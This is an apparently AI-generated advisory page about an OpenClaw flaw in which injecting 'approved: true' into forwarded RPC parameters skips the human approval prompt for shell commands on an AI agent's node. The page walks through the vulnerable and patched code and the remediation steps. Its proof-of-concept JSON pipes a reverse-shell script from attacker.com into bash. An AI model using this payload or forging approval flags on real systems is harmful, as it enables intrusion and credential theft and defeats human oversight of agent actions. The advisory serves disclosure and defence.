CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-GV46-4XFQ-JV58

GHSA-GV46-4XFQ-JV58: Remote Code Execution in OpenClaw via Approval Workflow Bypass

Alon Barad
Alon Barad
Software Engineer

Mar 2, 2026·6 min read·25 visits

Executive Summary (TL;DR)

OpenClaw allows remote command execution without user approval due to improper parameter sanitization. Attackers can inject an "approved" flag into RPC requests, bypassing security prompts on developer machines. Fixed in v2026.1.29.

A critical remote code execution (RCE) vulnerability exists in OpenClaw versions prior to v2026.1.29. The vulnerability arises from a trust boundary violation between the OpenClaw Gateway and connected Node hosts. The Gateway fails to sanitize Remote Procedure Call (RPC) parameters before forwarding them to Nodes. This allows authenticated attackers (or attackers possessing a valid operator token) to inject internal control flags—specifically `approved: true`—into command payloads. These injected flags trick the Node into bypassing the mandatory user confirmation prompt for sensitive actions, resulting in the immediate execution of arbitrary shell commands on the target machine.

Vulnerability Overview

OpenClaw (formerly Moltbot/ClawdBot) functions as a personal AI assistant that orchestrates workflows across distributed environments. Its architecture consists of a central Gateway and multiple Nodes (remote hosts, often developers' personal computers or servers). The Gateway acts as a command-and-control server, relaying RPC messages such as node.invoke to specific Nodes to perform tasks.

To prevent unauthorized actions, OpenClaw implements a "Human-in-the-Loop" security model for sensitive operations. When a dangerous command—such as system.run (executing shell scripts)—is requested, the Node host is designed to intercept the request and spawn a local interactive prompt. The user must manually approve this prompt before the command executes. This mechanism is the primary defense against malicious operators or compromised tokens.

GHSA-GV46-4XFQ-JV58 represents a complete bypass of this security control. By manipulating the JSON payload sent to the Gateway, an attacker can instruct the Node to treat the request as pre-approved. This effectively converts a protected administrative feature into an open remote code execution interface, allowing the attacker to run arbitrary code on any connected Node without the owner's knowledge or consent.

Root Cause Analysis

The vulnerability stems from a classic Trust Boundary Violation (CWE-501) coupled with Mass Assignment (CWE-915). The system architecture relies on the Gateway to forward requests to Nodes, but it failed to define a strict schema for which parameters could be passed from the client to the execution engine.

The root cause resides in the lack of sanitization in the Gateway's node.invoke handler and the implicit trust the Node placed in the parameters it received. Specifically, the Node's execution runner (src/node-host/runner.ts) determined whether to show a user prompt by checking for the existence of specific properties in the incoming params object:

  1. approved: A boolean flag indicating prior approval.
  2. approvalDecision: A string (e.g., 'allow-once') indicating the user's choice.

These flags were intended for internal use—to be set only after a user clicked "Approve" on the local prompt. However, the Gateway blindly forwarded the entire params object from the WebSocket request to the Node. Consequently, an attacker could simply supply these internal flags in the initial request. The Node, receiving approved: true, erroneously assumed the check had already occurred and executed the payload immediately.

Code Analysis

The vulnerability involves two distinct components: the decision logic in the Node and the forwarding logic in the Gateway. The critical failure was that the Gateway did not filter the input before the Node consumed it.

Vulnerable Logic (Node Host) In src/node-host/runner.ts, the code checked the parameters directly to decide if a prompt was needed:

// Vulnerable Code in Node Host
// The code trusts that 'approved' only comes from a trusted internal process
const approvedByAsk = params.approvalDecision !== null || params.approved === true;
 
if (requiresAsk && !approvedByAsk) {
  // Trigger the UI popup for user confirmation
  const decision = await askUser(params);
} else {
  // Execute immediately - VULNERABILITY TRIGGER
  // If params.approved is true, we reach here without user interaction
  executeCommand(params);
}

The Fix (Gateway) The remediation was applied in the Gateway to prevent these flags from ever reaching the Node. In commit 0af76f5f0e93540efbdf054895216c398692afcd, a sanitization step was added to the node.invoke handler in src/gateway/server-methods/nodes.ts:

// Patched Code in Gateway
function sanitizeNodeInvokeParamsForForwarding(params: any) {
  const safeParams = { ...params };
  
  // Explicitly strip internal control flags
  delete safeParams.approved;
  delete safeParams.approvalDecision;
  delete safeParams.runId; // Prevent ID collision attacks
  
  return safeParams;
}
 
// In the RPC handler:
const forwardedParams = sanitizeNodeInvokeParamsForForwarding(clientRequest.params);
nodeConnection.send(forwardedParams);

This change ensures that even if a malicious client sends approved: true, the Gateway removes it before the Node receives the message, forcing the Node to default to the safe behavior (prompting the user).

Exploitation Methodology

Exploiting this vulnerability requires an authenticated session with operator.write permissions. In a real-world attack scenario, this is often achieved by chaining with a separate vulnerability (like CVE-2026-25253) to steal an authentication token, or by a malicious insider.

Attack Steps:

  1. Reconnaissance: The attacker enumerates connected nodes using the node.list RPC method to identify a target nodeId.
  2. Payload Construction: The attacker crafts a JSON-RPC request for the node.invoke method. They target the system.run command and inject the bypass flags.
  3. Execution: The request is sent to the Gateway WebSocket endpoint.

Proof of Concept (PoC):

{
  "method": "node.invoke",
  "params": {
    "nodeId": "target-macbook-pro-uuid",
    "command": "system.run",
    "params": {
      "command": ["/bin/bash", "-c", "curl -s http://attacker.com/revshell | bash"],
      "cwd": "/tmp",
      "approved": true,
      "approvalDecision": "allow-once"
    }
  }
}

Upon receiving this payload, the Gateway forwards the inner params object to the target MacBook. The OpenClaw agent on the MacBook sees approved: true, skips the GUI prompt, and immediately downloads and executes the reverse shell script.

Impact Assessment

The impact of this vulnerability is Critical. OpenClaw is designed to provide deep system integration for AI agents, often running with the privileges of the active user on developer workstations.

Consequences:

  • Remote Code Execution (RCE): Attackers can execute arbitrary shell commands. This allows for the installation of malware, ransomware, or persistent backdoors.
  • Data Exfiltration: Access to the file system allows attackers to steal source code, SSH keys (~/.ssh/id_rsa), AWS credentials (~/.aws/credentials), and other sensitive local data.
  • Lateral Movement: Compromising a developer's workstation often provides a beachhead into corporate internal networks, bypasses VPN requirements, and grants access to production environments via stored credentials.

Severity Metrics:

  • CVSS v3.1: 8.8 (High/Critical)
  • Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Privileges: Requires low privileges (a standard operator token), which lowers the barrier to entry significantly compared to admin-only vulnerabilities.

Remediation & Mitigation

The vulnerability is addressed in OpenClaw version v2026.1.29. The patch implements input validation at the Gateway level, serving as a choke point for all RPC traffic.

Immediate Actions:

  1. Upgrade: Administrators must upgrade the OpenClaw Gateway and all Node agents to version v2026.1.29 or later immediately.
  2. Rotate Credentials: If there is suspicion of compromise or if an instance was exposed to the internet, rotate all operator tokens and API keys used within the OpenClaw environment.
  3. Audit Logs: Review Gateway logs for node.invoke calls containing unexpected keys in the params object, specifically approved or approvalDecision appearing in inbound requests.

No configuration-based workaround exists that is as effective as patching, because the vulnerability lies in the core message handling logic. Network segmentation (restricting access to the Gateway) can reduce the attack surface but does not eliminate the risk of insider threat or token theft exploitation.

Official Patches

GitHubPatch commit preventing parameter injection

Fix Analysis (1)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Affected Systems

OpenClaw GatewayOpenClaw Node Agent (macOS, Linux, Windows)

Affected Versions Detail

Product
Affected Versions
Fixed Version
OpenClaw
OpenClaw
< 2026.1.292026.1.29
AttributeDetail
CWE IDCWE-501
Attack VectorNetwork
CVSS Score8.8
ImpactRemote Code Execution
Exploit StatusPoC Available
PrerequisitesAuthenticated Operator Token

MITRE ATT&CK Mapping

T1203Exploitation for Client Execution
Execution
T1059Command and Scripting Interpreter
Execution
T1566Phishing (via chained Token Theft)
Initial Access
CWE-501
Trust Boundary Violation

Trust Boundary Violation

Known Exploits & Detection

DepthFirstTechnical analysis and proof of concept for the approval bypass

Vulnerability Timeline

Patch released in v2026.1.29
2026-01-29
Vulnerability publicly disclosed
2026-02-01

References & Sources

  • [1]GHSA-GV46-4XFQ-JV58
  • [2]OpenClaw Issue #8682
  • [3]The Hacker News Disclosure
Related Vulnerabilities
CVE-2026-25253

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•5 minutes ago•CVE-2026-91130
9.3

CVE-2026-91130: DOM-Based Cross-Site Scripting in Home Assistant Statistics Graph Card

CVE-2026-91130 is a critical DOM-based Cross-Site Scripting (XSS) vulnerability in the Home Assistant open-source home automation platform. Prior to version 2026.7.0, the Statistics Graph card rendered series tooltips using raw HTML string interpolation without escaping user-controlled entity friendly names. By abusing this vulnerability, an authenticated user with low-privilege access can inject arbitrary HTML and JavaScript into entity name fields, which executes in the context of an administrative user's browser session upon hovering over a data point on an affected chart.

Alon Barad
Alon Barad
0 views•5 min read
•about 1 hour ago•CVE-2026-58268
7.5

CVE-2026-58268: Denial of Service via Uncontrolled Memory Allocation in emiago/sipgo Stream Parser

A high-severity denial of service vulnerability exists in the emiago/sipgo Go library when parsing stream-based SIP messages. The stream parser fails to validate declared Content-Length header sizes before initiating memory allocations, allowing remote, unauthenticated attackers to trigger process memory exhaustion and application crashes.

Alon Barad
Alon Barad
4 views•6 min read
•about 2 hours ago•CVE-2026-58270
6.5

CVE-2026-58270: Regular Expression Denial of Service (ReDoS) in Sync-in Server

CVE-2026-58270 identifies a Regular Expression Denial of Service (ReDoS) vulnerability in Sync-in Server prior to version 2.4.0. An authenticated attacker can supply a complex regular expression in the pathFilters parameter of the sync diff endpoint. When evaluated, this causes catastrophic backtracking, blocking the single-threaded Node.js event loop and rendering the entire server unresponsive.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 3 hours ago•CVE-2026-56681
7.3

CVE-2026-56681: Authentication Bypass via HTTP Header Spoofing in 9Router

CVE-2026-56681 is a high-severity authentication bypass vulnerability in 9Router, an AI router and token-saving proxy. The vulnerability arises from an improper trust boundary where the application relies on the client-controlled HTTP header X-9r-Real-Ip to determine whether an incoming request originates from a local (loopback) environment. In deployments where requests can reach the Next.js backend directly—bypassing the sanitizing custom-server.js wrapper—a remote, unauthenticated attacker can spoof their origin by supplying an X-9r-Real-Ip: 127.0.0.1 header.

Alon Barad
Alon Barad
7 views•6 min read
•about 4 hours ago•CVE-2026-56682
5.3

CVE-2026-56682: Rate Limiter Lockout Bypass via Header Spoofing in 9Router

A rate limiting bypass vulnerability in 9Router versions before 0.5.6 allows unauthenticated remote attackers to circumvent the login progressive lockout mechanism. By manipulating the client-supplied X-9r-Real-Ip HTTP header, an attacker can rotate the tracking IP address, enabling unthrottled brute-force password guessing against the administrative interface.

Alon Barad
Alon Barad
8 views•7 min read
•about 5 hours ago•CVE-2026-58272
5.3

CVE-2026-58272: Username Enumeration via Timing Side-Channel in Sync-in Server

CVE-2026-58272 is a timing side-channel vulnerability in the authentication endpoint of Sync-in Server before version 2.4.1. Unauthenticated remote attackers can distinguish between valid and invalid usernames due to asymmetric execution paths. When processing invalid usernames, the database query returns early, skipping the computationally expensive bcrypt verification path that is normally triggered for valid accounts.

Alon Barad
Alon Barad
9 views•7 min read